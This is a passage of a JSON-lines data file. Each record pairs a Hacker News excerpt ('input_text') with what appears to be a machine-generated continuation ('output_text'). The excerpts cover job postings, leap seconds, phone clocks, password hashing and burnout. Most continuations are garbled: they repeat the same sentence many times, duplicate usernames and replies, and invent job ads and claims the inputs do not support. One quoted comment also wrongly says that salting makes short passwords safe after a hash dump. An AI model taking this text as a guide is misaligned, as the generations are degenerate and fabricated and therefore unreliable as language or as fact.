anyway.\n\nLastly, the toughest chargebacks can take months to resolve. Help with that\n(as a merchant) would be very useful(and so I can imagine you providing a\ncompelling service), but are you really committing to take on a potentially\ncomplex issue for the customer? And wouldn't it be a conflict to represent\nboth parties? Still, a tool that eases the admin of chargebacks could be great\nfor both sides...\n\n------\niusdfhsdfiuh\nYour terms and conditions at the end of lodging says \n\nI like the service (just used mailinator to test it) but in the end I'm left\nwith the feeling there is some hidden cost to me. I'd like if it was clear\nthat it was a free service for me.\n\nI notice you are Australian? Or have you localised your site really well?\n\n>You must not modify, adapt or hack the Service or modify another website so\nas to falsely imply that it is associated with the Service, ChargeBack.cc, or\nany other ChargeBack.cc service.\n\nYou must not do illegal stuff?\n\n>ChargeBack.cc reserves the right to update and change the Terms of Service\nfrom time to time without notice\n\nPlease change your policy on this, tos-dr.info"} +{"output_text": "people. I think the cause is that the more children you have, the more likely\nyou are to have a child with a disability.\n\n~~~\nglimcat\nThat's a pretty big leap.\n\n~~~\nlightcatcher\nI'm not sure what you mean by that. I'm not saying that the cause is that\nhaving more children increases the likelihood of having a child with a\ndisability. I'm saying that the cause is that having more children increases\n", "input_text": " babble on his level.\n\nNow keep in mind that my little guys also love Pixar movies, playing LEGO\ngames on their Wii, dressing up as superheros, and hiking so they have managed\nto learn all these things while having a well-rounded and balanced childhood.\n\nThe reason these boys know as much as they do and are so well behaved is\nbecause my wife and I have taken the time to know their hearts and minds and\nhave invested countless precious hours teaching and training them to be men.\n\nSo I want to make sure you understand that just because a family may have\nchildren close in age, it is no way has any bearing on their intelligence. My\nexperience has shown me that the complete well-being of children directly\ncorrelates to the amount of time and love their parents invest in them, no\nmatter how many siblings they have or far apart their ages may be.\n\nIrresponsible parenting does not mean having many kids close in age.\nIrresponsible parenting simply means that you aren't willing to offer the time\nand love your kids need to thrive.\n\n(edit for formatting)\n\n~~~\nglimcat\nHe's claiming that spacing is the dependent variable, not the independent\nvariable.\n\nParents who are not considering these issues at all are arguably more likely\nto cluster towards shorter spacings, but shorter spacings alone do not provide\nenough information to classify the cause.\n\n~~~\nandrewhare\nGood point! I just wanted to make sure that the OP knew that he was too\nsweeping in his generalizations.\n\n~~~\ninuhj\nIt wasn't too sweeping--I purposefully said nothing about what responsible\nparents do ;).\n\n------\nlightcatcher\nI seem to have attributed a different cause to this correlation than most\n"} +{"output_text": ".\n\n------\njoshu\nPagerDuty | San Francisco, CA | Full-time | Onsite\n\nPagerDuty is a fast-growing, profitable, and mission-driven company. We are\nlooking for a Senior Software Engineer to join our team.\n\nYou will be working on a variety of projects, including:\n\n\\- Building out our new web-based UI\n\n\\- Improving our existing web-based UI\n\n\\- Improving", "input_text": " too\nmany seniors find themselves struggling, forced each month to choose between\nfood, medication, or rent. And there has been an alarming rise in the number\nof seniors who are homeless or relying on food banks.\n\nIn New York City, the number of seniors is projected to increase to nearly 1.9\nmillion by 2030, making it the fastest-growing population. Unfortunately,\nseniors struggle disproportionately with access to benefits, health issues,\nand affordable housing.\n\nOne out of every six seniors relies on emergency food\n\nOne out of five lives below the poverty line\n\nOne out of four has limited mobility\n\nMany face these challenges alone. In 2014, 32 percent of persons age 65 and\nover, and nearly half of persons 85 and older in New York City lived alone. In\naddition, seniors who live alone have the second highest poverty rate (among\nall older households).\n\nWe think technology has a part to play.\n\nWe are looking for excellent, full stack engineers who want to put their\nskills to work to make the world a better place.\n\nLearn more here:\n[http://labs.robinhood.org/fellowship](http://labs.robinhood.org/fellowship)\n\n------\nUtahDave\nSSaltStack is looking to hire a Senior Development Manager quickly.\n\n[https://saltstack.bamboohr.com/jobs/view.php?id=49](https://saltstack.bamboohr.com/jobs/view.php?id=49)\n\n~~~\nfancy_pantser\nIt's hard to attract top talent to Lehi, Utah; would you consider remote with\nregular site visits?\n\n~~~\ngrosswait\nDefinitely! But then I'm originally from Lehi"} +{"output_text": "https://www.athelas.com](https://www.athelas.com)\n\nAthelas is a fast-growing startup that is building a next-generation\nanalytics platform for the Internet of Things. We are looking for engineers\nwith experience in Ruby on Rails, React, and/or Node.js.\n\nWe are a small team of engineers and designers, and we are looking for\nengineers who are passionate about building great products. We are looking for", "input_text": " and Chris Sacca\nrecently joined as investors.\n\nHere's more in a quick video:\n[https://www.youtube.com/watch?v=5iKitGJeAZ4](https://www.youtube.com/watch?v=5iKitGJeAZ4).\n\nStack: Rails, React/Redux, native Android & iOS\n\n* Sales Manager/Director: [https://angel.co/brightwheel/jobs/63126-sales-manager-direct...](https://angel.co/brightwheel/jobs/63126-sales-manager-director)\n\n* Customer Success Manager: [https://angel.co/brightwheel/jobs/188615-customer-success-ma...](https://angel.co/brightwheel/jobs/188615-customer-success-manager)\n\n* Full Stack Lead: [https://angel.co/brightwheel/jobs/46968-senior-software-engi...](https://angel.co/brightwheel/jobs/46968-senior-software-engineer)\n\n* Dir/VP of Eng: [https://angel.co/brightwheel/jobs/139087-director-of-enginee...](https://angel.co/brightwheel/jobs/139087-director-of-engineering)\n\n* Head of Design: [https://angel.co/brightwheel/jobs/51213-head-of-design](https://angel.co/brightwheel/jobs/51213-head-of-design)\n\nInterested but don't see an exact fit? Email us - info@mybrightwheel.com\n\n------\nttandon\nAthelas (YCS16) | Full-Stack Engineers | Mountain View, CA | onsite |\n["} +{"output_text": " work.\n\n------\njoshu\nI've been working on a project for a while now. I've been working on it for\nabout a year. I've been working on it for about a year. I've been working on\nit for about a year. I've been working on it for about a year. I've been\nworking on it for about a year. I've been working on it for about a year. I've\nbeen working on it for about", "input_text": " to watch and take care of.\n\nbreakfast together sounds like a fun idea =) do they go out somewhere? make it\nthere? cater it?\n\n~~~\nseven\nAfer I got my punching bag, I really had a lot more respect for boxers. :)\n\nFrom my understanding, they do not go out, but make breakfast in a conference\nroom. Basic stuff is somehow organized.. and everybody brings small stuff like\nspecial marmalade once in a while to spice things up. I guess that they are\nabout 20-30 people. They do talk about business all the time. But as it is not\nenforced anyhow, it does not feel like work.\n\nThey seem to have a very nice working culture. To quote from his (german only\nblog): 'Meetings are very important. Showing up late is strictly forbidden and\nwould result in drastic punishment. Meetings are so important, that we would\nnever ever let the times overlap with our foosball table tournaments.'\n\n------\nMichaelTroy\nTrying to be conscious of feeling like I am burning (out). If I can be\nconscious of that feeling, I am able to detach to a certain degree. This\nenables me to go a hell of a lot further. I guess simply being aware that I\nmay be burning out helps me find perspective.\n\n------\nCyberFonic\nReading Hacker News and not being made feel guilty :-)\n\n------\npasbesoin\nEnvironment. When I'm putting more effort into tuning out a noisy, distracting\nenvironment than I am into the work product, burnout is on the horizon.\n\nBeware of people who claim to like such environments: Some function well in\nthem, but in my anecdotal observation, many crank out substandard"} +{"output_text": " see how the movie industry has evolved since then, and how\nthe movie industry has evolved since then. I'm not sure if it's a good thing\nor a bad thing, but I think it's a good thing that movies are more artistic\nand less formulaic.\n\n~~~\njameshart\nI think it's a good thing that movies are more artistic and less formulaic.\n\nI think it's a bad thing that movies are more formulaic and less artistic.", "input_text": "eshot.org/symposiums/entry/2013/space_odyssey\n======\nGuiA\nWhat a great essay. Worth the read.\n\n _\" Upon reaching Jupiter, Bowman is guided into a wormhole, triggering\nTrumbull\u2019s bravura psychedelic sequence. On either side of a perpendicular\nline dividing the screen, two vertical planes of brightly colored lights and\nshapes emerge, rushing past and out of frame, giving the illusion that Bowman\n(glimpsed in a juddering cutaway shot and then in paralytic stills) is racing\nthrough a corridor of infinite dimensions at speed-of-light intensity. Modeled\nin part after the avant-garde films of Jordan Belson (who later created\nspecial effects for The Right Stuff) and fraternal animators James and John\nWhitney (collaborators with Saul Bass on Vertigo\u2019s title sequence), Trumbull\nrecreated screen space with his slit-scan technique, combining long exposures\nof circuit board diagrams, Op Art prints, film negatives, and electron\nmicroscope photographs for this sequence, which cleverly exploited the simple\nx and y axis geometry of an ideally proportioned widescreen frame.\"_\n\nThat scene is probably my favorite movie scene of all times. My dad was a big\nfan of _2001_, and made me watch the movie when I was 13 or so- I missed a\nlot of the subtleties, but that last part of the movie added a new layer to\nexistence that I could have never conceived of before. For a nerdy teenager\nwho was really into science and sci-fi, it was mind blowing to be exposed to\nsuch an artistic depiction of the subjectivity of the human perception of time\nand space, and the ambiguity of reality.\n\nIt's interesting to"} +{"output_text": "://www.time.is/>\n\n------\njoshu\nI have a Galaxy S2, and it's off by about 1.5 seconds.\n\n------\njoshu\nI have a Galaxy S2, and it's off by about 1.5 seconds.\n\n------\njoshu\nI have a Galaxy S2, and it's off by about 1.5 seconds.\n\n------\njoshu\nI have a Galaxy S2,", "input_text": "My iPod Touch and Android Phone (HTC) have exactly the same (local) time and\nboth are set to automatic.\n\n------\nknurdle\nGood to know when I'm trying to disable the bomb the super villain has planted\nand I think I have a minute left until it blows up but I really only have 45\nseconds left. Oh wait, maybe the bomb timing mechanism is built on the android\nplatform and I really do have a minute left.\n\n------\nspindritf\nI was always convinced that \"network-provided\" time means provided by the GSM\noperator over GSM. FWIW time on my phone is off by 1.4s according to time.is\nso it seems to be unaffected by the bug.\n\n~~~\nwccrawford\nI just checked my stock Galaxy S2, and it was almost 2 minutes out. After\nenabling the automatic time setting, I checked again and it was like 1.9\nseconds out.\n\nDoesn't seem to be a problem here, either.\n\n------\nragmondo\nIt also messes up 2 factor authentication as well. I've raised this on the\ngoogle developers, android developers plus groups but I guess if you aint a\ngoogler, then it's like p*ssing into the wind....\n\n------\nrosser\nThis doesn't appear to be the case on ICS. My Galaxy Nexus tracks with the\nclock on my MBA, which is synced to Apple's NTP server.\n\n~~~\nnooneelse\nAnother Galaxy Nexus reporting in here, according to time.is, 0.7 seconds\nbehind.\n\n------\nchmars\nInteresting. I had always assumed smartphones would use NTP servers.\n\n------\nwebjunkie\nCheck it and work wherever they want.\n\nThat's not true.\n\n~~~\ninoop\nI'm not sure what you mean by \"freely\".\n\nIf you want to work in Germany, you can. If you want to work in France, you\ncan. If you want to work in Spain, you can.\n\n~~~\nnoinsight\nI'm not sure what you mean by \"freely\".\n\nIf you want to work in", "input_text": "use900\nGreek here, living and working abroad.\n\nSpain is doing a bit better than Greece but its on the same boat.\n\nWhen I speak with friends back home, I do get a feeling that they don't want\nto work. Is it because they are lazy? part of me wants to say yes. I can't\nignore the fact that the working conditions are awful. Salaries are quite low\ncompared to the rest of Europe, an employer has full control over you, and can\nfire you any time. An employer won't ever promote you. They will just hold you\nas long as they can and then they will just hire someone else for less money.\nAlso when you have internet and so much information avaialble to you, and you\ncan see what are the working conditions in other Countries it kinda makes you\nsad.\n\nI live in London, and tbh there have been many times that I've been thinking\nwhat am I doing here. London is quite expensive and the salaries are not as\nhigh compared to rent, food etc (at least for developers).\n\nNow I just made this comment in order to give an overview of whats going on to\na country that is on the same boat as Spain.\n\n~~~\ninoop\n> I can't ignore the fact that the working conditions are awful\n\none of the great things about the EU is that people can freely move inside it\nand work wherever they want. Nothing is stopping your friends from doing what\nyou did - seek employment elsewhere.\n\nAt the same time, if Greek and Spanish companies want to survive they'll have\nto learn to adapt to the new order and treat their people better, or perish.\n\n~~~\nnoinsight\n> one of the great things about the EU is that people can freely move"} +{"output_text": "------\njasonlbaptiste\nI'm a designer and developer. I've been doing both for a while. I've been\ndoing a lot of work with startups and I've been doing a lot of work with\nstartups that are in the design/UX space.\n\nI've been doing a lot of work with startups that are in the design/UX space.\nI've been doing a lot of work with startups that are in the design/UX space.\n\n", "input_text": " too many good resources that\ncatered to our type, most design advice wasn't practical enough and improving\nmy taste took a long while.\n\nI'm putting together a series of posts on what I learnt, hopefully that helps\npeople out. Feel free to get in touch via Twitter or email.\n\n------\nmgeraci\nAs the designer in a three person startup (the other two are coders), I can\ngive some information on our process.\n\nA - Our design process starts with a discussion of feature ideas and\nrequirements from the code side. Then work goes in parallel until each team\nhas a workable mockup/prototype. This period of work alone is critical to the\ndevelopment of the app from the visual and user experience side of things. It\nalso gives me freedom to try lots of new ideas. I'll usually do a couple of\nrevisions based on comments from my co-founders, and then get some outside\nopinions.\n\nB - I fear that user interface and usability comes more from trial and error\nthan reading. I haven't found a good resource for the technical side of\ndesign, but olalonde's link to uxmovement.com looks great.\n\nC - Our startup has 2 coders and 1 designer. We're a rails shop, and I know\nenough ruby to implement my designs. This mix usually works really well as far\nas delegation of work. I'm not sure how standard this is.\n\nD - Can't say much here since I started on the design side and have more\nrecently been programming.\n\nAs an aside - if you're comfortable in css and are adding a new page or\nfeature to an existing site, I've found that it can be fast to prototype in\nhtml rather than Photoshop/Illustrator.\n\n"} +{"output_text": " finding anything.\n\n~~~\nfoodawg\nI don't know if you can search for a specific post, but you can search for\n\"hosting\" and then click on the \"newest\" link.\n\n------\noptimal\nI'm looking for a web hosting service that can scale with my user base.\n\nI'm not looking for a service that will host a single site. I'm looking for a\nservice that can host multiple sites.\n\nI'm", "input_text": " much bandwidth will you need? Are you serving video or just text/images?\n\nAnyway... it all depends on what your req's are...\n\n~~~\noptimal\nHi nickb,\n\nThanks for your response. I was going to get into details, but figured my\nrequirements are so typical it wouldn't be worth the extra description.\n\nThis is for a standard LAMP-based app with a minimum of graphics. I expect\ntraffic volume to be low for the near future and have no heavy-duty\nrequirements for video and such.\n\nBasically I'd like to find an economical service that can scale with my user\nbase.\n\n~~~\nbrlewis\n\n\n~~~\njuanpablo\nExcellent. I was looking for something like that. Thank you!\n\n~~~\nupper\n\n\n------\ndonna\nHeard about this at a meet-up in SF;\n\n\n------\nfoodawg\nI don't know if your referring to \nas the older post, but it is only a month old. The web hosting industry is\npretty cyclical, but within a month, the data should still be relevant.\n\n~~~\noptimal\nfoodawg,\n\nThanks--that looks better than the thread from 148 days ago I had bookmarked\n(whatever date that happens to be):\n\n\n\nIs there a search function here I'm missing? I did search for search to parse\nprior posts but withdrew without"} +{"output_text": "100% of salary.\n\n~~~\nsokoloff\nI'm not sure I understand your point.\n\nIf you're paid 100% of salary, you're not being paid 103.5% of salary.\n\nIf you're paid 103.5% of salary, you're not being paid 100% of salary.\n\n~~~\nconfluence\nI'm not sure I understand your point.\n\nIf you're paid 100% of salary, you're not being", "input_text": "is.\n\n~~~\nconfluence\nAs an employee of a company, I'm paid salary for my time.\n\nI'll take a pay cut for more equity if I want it, not for nothing.\n\nIf I take risk, I get rewarded with ownership, but if I'm paid cash, why do I\nhonestly care what happens to a company.\n\nThis isn't some fairytale, we're all here to get paid, and employees\u200b aren't\nyour buffer for bad cash flow management, that's the responsibility of owners\nand management.\n\n~~~\nbrianwawok\nBlaming management make it sound like you have never owned a company.\n\nWhen cash is getting low two choices. Paycuts or firings. Pros and cons to\nboth.\n\nIn the OP sounds like they arent that drastic yet. Just no raises. Seems not\nthat dire all things considered.\n\n~~~\nconfluence\nNot holding management responsible makes me think you might have owned a\ncompany.\n\nLet me spell out the compact that undergirds capitalism: employees don't take\nrisks and are paid a constant stream of cash, owner's do take risk, and it is\nup to them to ensure there is enough capital buffer to meet their constant\nstream obligations. Employees do the work, management/owners ensure they get\npaid.\n\n~~~\nsokoloff\nFrom what I read, throwaway-sc is being paid 100% of salary. They're just not\nbeing paid 103.5% of salary after a raise that's been deferred.\n\nWhile there are certainly things to worry about, this is not a case of\nemployees not being paid.\n\n~~~\nconfluence\nFunny thing is that salary changes with a raise, so technically they'd be <\n"} +{"output_text": "/papers/wavefunctioncollapse.pdf](http://isaackarth.com/papers/wavefunctioncollapse.pdf)\n\n------\njimhefferon\nI'm not sure I understand the point of this.\n\n~~~\nindescions_2017\nI think it's a nice example of how to use the new HTML5 canvas API to create\na map.\n\n------\njimhefferon\nI'm not sure I understand the point of this.", "input_text": " finding that there was\nindeed an object out of place and in the way. Sometimes these were quite small\n- mug-sized (although not mugs).\n\nFeynman had more to say about training the senses. You can read about it in\nhis semi-autobiographical books.\n\n------\nBjoern\nComparing Human Echo location to a Dolphin is highly unfair, at least for the\nhuman. The Dolphins brain has specifically adapted to use this technique and\nit is quite impressive. Dolphins are actually able to see through things which\nblock their view of an object. Meaning that they can distinguish objects\nwithout actually seeing them directly.\n\nHere is more on this:\n\n[http://www.guba.com/watch/2000977386?duration_step=0&fie...](http://www.guba.com/watch/2000977386?duration_step=0&fields=8&filter_tiny=0&pp=5&query=404934828&sb=7&set=5&sf=0&size_step=0&o=3&sample=1231730837:f40ae2aaa7e3b1508fe84d3aa954dc6b786be741)\n\n \nPolygonal Map Generation, HTML5 Version - signa11\nhttps://simblob.blogspot.com.au/2017/09/mapgen2-html5.html\n======\nindescions_2017\n\"New algorithms\" for tilemap generation?\n\nMaxim Gumin\u2019s WaveFunctionCollapse is fast and produces nice results. A recent\npaper has been published outlining its technique.\n\nWaveFunctionCollapse is Constraint Solving in the Wild\n\n[http://isaackarth.com"} +{"output_text": "their own crypto-hashing.\n\n~~~\ntptacek\nI'm not sure what you're saying.\n\n~~~\nthrowaway201606\nI'm saying that the reason you don't want 6 or 8 character passwords is that\nwhen your password hashes get dumped it's a lot easier to crack them.\n\n~~~\ntptacek\nI'm saying that the reason you don't want 6 or 8 character passwords is that\nwhen your password hashes", "input_text": " me about this post and all of the responses in this thread so\nfar is that everyone is only thinking about password length as a way to defend\nagainst online bruting attempts when in reality long passwords mostly serve to\nprotect against offline bruting attempts. The reason you don't want 6 or 8\ncharacter passwords is that when your password hashes get dumped it's a lot\neasier to crack them.\n\n~~~\nthrowaway201606\n\"What's odd to me about this post and all of the responses in this thread so\nfar is that everyone is only thinking about password length as a way to defend\nagainst online bruting attempts when in reality long passwords mostly serve to\nprotect against offline bruting attempts. The reason you don't want 6 or 8\ncharacter passwords is that when your password hashes get dumped it's a lot\neasier to crack them.\"\n\nThis is: i) not accurate and ii) bad info\n\nPassword hash dumps are worthless if the password hashing scheme used is\ni)crypto-hashing based and ii) uses salt.\n\n6-8 char passwords are not an issue under this scenario. Current password\nmanagement best practice is to use both standard crypto-hashing algorithms and\nsalt.\n\n[https://en.wikipedia.org/wiki/Salt_(cryptography)](https://en.wikipedia.org/wiki/Salt_\\(cryptography\\))\n\nAlmost all platforms use standardized crypto-hashing packages that come as\nstandard libraries in the language these days and those require salt. Further,\n_almost_ all banks will all use these packages.\n\nThis is the reason you do not see rainbow tables these days, they are\nworthless in face of almost any current acceptable crypto-hashing\nimplementation... assuming one does break rule #1 of crypto and try to roll\n"} +{"output_text": ")\n\n------\nmike_hearn\nI'm not sure why this is getting downvoted. It's a very interesting video.\n\n~~~\nmike_hearn\nI'm not sure why this is getting downvoted. It's a very interesting video.\n\n~~~\nmike_hearn\nI'm not sure why this is getting downvoted. It's a very interesting video.\n\n~~~\nmike_hearn\nI'm", "input_text": "://www.vanderlande.com/](https://www.vanderlande.com/)\n\n------\ndavid-given\nIs there a version without the edits? Because I found this practically\nunwatchable; it kept cutting away just as things started to get interesting.\n\n~~~\nmike_hearn\nThis video of the T5 system at Heathrow is better and shows equipment just as\ncool (though no robot at the end)\n\n[https://www.youtube.com/watch?v=Wn8qogHH9bM](https://www.youtube.com/watch?v=Wn8qogHH9bM)\n\nOh and if you want a REALLY crazy version of the Schipol video, this one is\nactually a 360 degree live draggable version of it - no kidding!\n\n[http://www.schiphol.nl/Reizigers/OpSchiphol/Bagage/BagageVid...](http://www.schiphol.nl/Reizigers/OpSchiphol/Bagage/BagageVideo.htm)\n\n~~~\ndavid-given\nThe first one isn't an FPV... and the second one is _also_ full of edits!\n\n------\ncodejoust\nWas looking for some backgrojnd and found an overview presentation [pdf]:\n[http://netlipse.eu/media/77918/11nwm-bratislava-lex-\npepping-...](http://netlipse.eu/media/77918/11nwm-bratislava-lex-pepping-\nbaggage-handling-at-amsterdam-airport-schiphol-implementing-new-\ntechnologies.pdf"} +{"output_text": "I've found that walking helps me think. I've been walking for a few hours\nbefore a big problem and it's helped me think through the problem.\n\n------\njoshu\nI've found that if I'm stuck on a problem, I can't sleep. I'll just lie there\nand think about it.\n\n------\njoshu\nI've found that if I'm stuck on a problem, I can't sleep. I'll just lie there\nand", "input_text": " resource that the war\nmust be about because they can't believe war is about anything other than\nresources.\n\n------\nblazespin\nMaybe this is a good thing as it will make it harder to get people to go to\nwar next time. Perhaps we might think twice about invading other countries.\n\n------\nAKifer\nIt's a scheme as old as the world, even Julius Caesar owed money to his\nlegions men and did not pay them.\n\n------\nWalterBright\nIsn't there a statute of limitations on such belated claims?\n\n------\ncbreeden\nThis is weird. I'm extremely surprised that some kind of statue of limitations\ndoes not apply here. I'm not sure we are getting the whole story.\n\n------\nFrogolocalypse\nThat is sickening\n\n------\nolegkikin\nSue.\n\n------\nthomasmarriott\nAbhorrent.\n\n------\ncloudjacker\nIdiots all the way to the top, looks like something only the President or\nCongress can remedy\n\n \n\nWhat to do when stuck on a problem? Sleep. - zackyap\nhttp://www.zackyap.com/post/30716510801/what-to-do-when-stuck-on-a-problem-sleep\n\n======\nmtkd\nAnything that takes you away from the problem will help.\n\nTake a shower if you don't have long.\n\nI recommend walking before taking on a big problem - even if you're not stuck.\n\nA 1h walk means you are unable to code your first solution, by the time you\nget back you'll be 4 iterations on in your head - you've just saved yourself 2\ndays.\n\n~~~\ngenwin\n"} +{"output_text": ", smart contracts, etc.\n\n------\njamesponddota\nDotA2 | Software Engineer | Full-time | Remote |\n[https://dota2.com](https://dota2.com)\n\nDotA2 is a free-to-play, online multiplayer game that is played by over\n100,000 players daily. We are looking for a software engineer to join our\nteam.\n\nYou will be working on the backend of our", "input_text": "\nlimo\nOradian | Scala Developer | Zagreb, Croatia | Full-time, ONSITE\n\nOradian is building a SaaS core banking for emerging markets, targeting\nmicrofinance institutions. We are searching for a Scala developer to join us\nand help bring financial inclusion to the 3 billion unbanked.\n\nOur backend stack is built on 100% Scala, with PostgreSQL as our ORDBMS of\nchoice. We are currently transitioning from vanilla Play to Akka-HTTP + React.\n\nWhile knowledge of Scala is preferable, it's not mandatory for an experienced\nsenior developer. This is a full-time position in Zagreb, Croatia (HQ of\nOradian).\n\nOradian's official non-programming language is English. :) We also have other\nopen position (i.e. QA/Front-End) - check them out here:\n[https://oradian.com/](https://oradian.com/)\n\n------\nsplix\nEthereum Classic | Go/Rust Engineer | Remote\n\nEthereum Classic is a decentralized platform that runs smart contracts on\nblockchain. Ethereum Classic is a continuation of the original Ethereum\nblockchain - the classic version preserving untampered history. See more at\n[https://ethereumclassic.github.io/](https://ethereumclassic.github.io/)\n\nWe're looking for Go and/or Rust developers to join our core team to work on\nOpen Source projects at\n[https://github.com/ethereumproject](https://github.com/ethereumproject)\n\nPlease send your CV and Github link to igor@artamonov.ru Please also include a\ncover letter with some details what is your experience with blockchain,\ndistributed systems"} +{"output_text": ".\n\nI'm not sure which side is right.\n\n~~~\njlgreco\nI think the article is written from the perspective of the ousted Drupal\nmember.\n\n~~~\ntptacek\nI think the article is written from the perspective of the ousted Drupal\nmember.\n\n------\njlgreco\nI think the article is written from the perspective of the ousted Drupal\nmember.\n\n------\njlgre", "input_text": " getting recognition when dealing with Western\ntech media. Even when I don't appear at all with the project, simply the off-\ncamera creator's appearance being offensive has been sufficient excuse for\nexclusion. I have no doubt that BDSM enthusiasts, or Furries, or many others\nface similar issues even when they check all aspects of their lifestyle at the\ndoor and it has no bearing on their projects.\n\nAs part of a knee-jerk reaction to community problems with sexism, parts of\ntech are now deeply, deeply conservative and judgmental about anything even\nvaguely sexual.\n\nYou can very easily have permanent damage done to your career prospects by\nappearing or acting in some way different from what they feel is the norm.\nOnce that's done, there's no appeasement or washing away the stain- you might\nas well embrace your eccentricity and resign yourself to whatever fringe niche\nwill have you.\n\n------\ntptacek\nThis article is written from one side of a complicated conflict.\n\nIt's the perspective of the ousted Drupal member that his beliefs are entirely\npackaged up in the BDSM subculture that he takes part in, and that to have a\nproblem with his beliefs is to persecute his BDSM subculture.\n\nIt's the perspective of the other Drupal members who ousted him that his\nbeliefs are not in fact cabined in that subculture, but in fact bleed out of\nit into his interactions with the broader world. They cite evidence.\n\nSince the beliefs that we're talking about could be broadly and probably\ninaccurately but by how much I don't know described as \"females are subhuman\",\nit's the perspective of the Drupal members who did the ousting that those\nbeliefs matter"} +{"output_text": " is a pretty big red flag.\n\n~~~\njessaustin\nI'm not sure that's a red flag. It's a red flag if the twin who exercised\nregularly was also the one who was more successful in life.\n\n~~~\nAstroChimpHam\nI'm not sure that's a red flag. It's a red flag if the twin who exercised\nregularly was also the one who was more successful in life.\n\n~~~\njessa", "input_text": " on BMI? 2kg of weight? I fluctuate more than that on a weekly\nbasis...)\n\n~~~\nlurknomore\nThere are several sayings in fitness circles that are similar to this: \"You\ncan't outrun your fork.\" Diet is the primary reason people are obese, not lack\nof exercise.\n\n~~~\nWildUtah\n\"You can't outrun your fork.\"\n\nI can.\n\nPeople who can't outrun their forks aren't running hard enough.\n\nHunting down a lot of calories and eating them is part of being a mammal. I\nbicycled across North America one fall on a mostly mountain route. Four times\na day I ate full meals and added as many Dove bars as I could without being\nsick in between. I biked up and down hills with 30kg of gear all day. And I\nlost a lot of weight.\n\nSure it hurts to work that hard, but it's supposed to hurt a little. Being\ncomfortable all the time isn't part of being a mammal.\n\n~~~\nrtb\nI look forward to your enlightening anecdote based debunking of other sayings,\nsuch as that time you made a great broth despite too many cooks, or that time\na gathering didn't get merrier with more people.\n\n~~~\nWildUtah\nI'm a little too busy to entertain you with vignettes right now; I need to\nsupervise this pot closely until it boils.\n\n------\nAstroChimpHam\n>But eventually the researchers homed in on 10 pairs of male identical twins,\none of whom regularly exercised, while the other did not, usually because of\nwork or family pressures, the researchers determined.\n\nThat \"work and family pressure\""} +{"output_text": " with you, but I think it's more of a problem with the managers.\n\nI've worked in a few places where I've been able to work on my own time and\nlearn new things. I've also worked in places where I've had to work on\nboring/uninteresting projects.\n\nI've found that the places where I've been able to work on my own time and\nlearn new things have been the places where the managers have been the most\npass", "input_text": "\nout).\n\nYou're coming very close to identifying a major problem with our industry that\nisn't likely to go away. Yes you absolutely do have to \"go home and study\" to\nkeep up as a software engineer/programmer. This is due to two reasons:\n\n1\\. Advancements in technology outpace us\n\n2\\. We're generally overloaded by management that doesn't understand what we\ndo.\n\nAs for #1 there isn't much we can do to change that, and who would want to?\n\nBut for #2 it's a major problem. In many cases our 40+ hours have to be filled\nwith coding because of the unrealistic deadlines that are posed on us from\nmanagers who don't understand the work.\n\nMost of us are managed by people who have no idea what we do. They want \"more\nmore more\" in terms of features and gizmos but haven't the slightest\nunderstanding of what goes into it. Add in scope creep and wasted time with\nmeetings (that make them look busy) and that adds up to a long work week for a\ndeveloper. And when you ask for time to study or learn something new, the\nresponse is \"sure, when things aren't so busy\".\n\nThis just reinforces my belief that you need passion to do this. You have to\nlove development so much you're willing to put up this stuff, work your ass\noff and still want to go home and learn more.\n\n~~~\nkyllo\nYes and it's also because the projects you'll typically work on in a corporate\nenvironment are like maintaining and adding features to boring CRUD apps and\nyour skills will atrophy if you don't actively seek interesting, challenging\nwork on your own time.\n\n~~~\nJeremyMorgan\nI agree"} +{"output_text": " the time reference that \"just counts the atomic\nseconds.\"\n\nThe leap seconds are a problem for the humans because they are not\npredictable. The leap seconds are a problem for the computers because they\nneed to be synchronized with the time reference that \"just counts the atomic\nseconds.\"\n\n~~~\ndfc\nI don't understand. Why is it a problem for the computers?\n\n~~~\nacqq\nBecause the computers need to be synchronized with the time reference that", "input_text": "\nsecond) sent over the radio clocks.\n\nFor the time less dependent on Earth TAI also exists (\n[http://en.wikipedia.org/wiki/International_Atomic_Time](http://en.wikipedia.org/wiki/International_Atomic_Time)\n). So we already have the time reference that \"just counts the atomic\nseconds.\"\n\nHad there been less confusion among the programmers regarding the leap second\nhandling on the common systems we'd already all use the UTC-SLS solution and\nwe wouldn't have to care about the leap seconds unless we really need TAI.\n\n\\---\n\n1) Watch out for\n[http://www.itu.int/en/ITU-R/conferences/wrc/2015/Pages/defau...](http://www.itu.int/en/ITU-R/conferences/wrc/2015/Pages/default.aspx)\n(2 to 27 November 2015) if that changes.\n\n2) POSIX already specifies that every day has exactly 86400 seconds for\n\"Seconds Since the Epoch\" and the current code relies on that:\n[http://pubs.opengroup.org/onlinepubs/9699919799/basedefs/V1_...](http://pubs.opengroup.org/onlinepubs/9699919799/basedefs/V1_chap04.html#tag_04_15)\n\n~~~\ndfc\nWhy deal with the complexity of leap seconds; given TAI why should society as\na whole deal with the complexity of leap seconds just because it makes life a\nlittle easier for astronomers?\n\n~~~\nacqq\nIt's not about being easy for the astronomers but for the humans. The\nastronomers already have"} +{"output_text": "ke\nI'm not sure I understand the point of this. It seems like a very specific\napplication of reversible computing.\n\n~~~\nazeirah\nI think it's a very specific application of reversible computing.\n\n------\njlebrech\nI'm not sure I understand the point of this. It seems like a very specific\napplication of reversible computing.\n\n~~~\nazeirah\nI think it's a very specific application of reversible computing.\n\n------", "input_text": ") Many operations lose information -- for example XOR's\ncan't be run backwards to reproduce the original inputs.\n\nPeople have tried to tackle both issues with reversible computing.\n[https://en.wikipedia.org/wiki/Reversible_computing](https://en.wikipedia.org/wiki/Reversible_computing)\n\nSomeone even wrote a programming language that was (logically) time-\nreversible:\n\n[https://en.wikipedia.org/wiki/Janus_(time-\nreversible_computi...](https://en.wikipedia.org/wiki/Janus_\\(time-\nreversible_computing_programming_language\\))\n\n~~~\nazeirah\nDoes having a time-reversible programming language mean that if you start with\nthe output of a given program, you can run the program backwards and get the\ninput?\n\nThis would be useful outside of research. Though, I expect the memory usage\nwill be ridiculous.\n\n~~~\nconistonwater\nIsn't that already a thing, if you really want it? [1,2,3]\n\n[1]\n[https://en.wikipedia.org/wiki/Retroactive_data_structures](https://en.wikipedia.org/wiki/Retroactive_data_structures)\n\n[2]\n[https://www.youtube.com/watch?v=T0yzrZL1py0](https://www.youtube.com/watch?v=T0yzrZL1py0)\n\n[3]\n[https://www.youtube.com/watch?v=WqCWghETNDc](https://www.youtube.com/watch?v=WqCWghETNDc)\n\n------\ngloriousdu"} +{"output_text": "\n\n \n \n { foo = 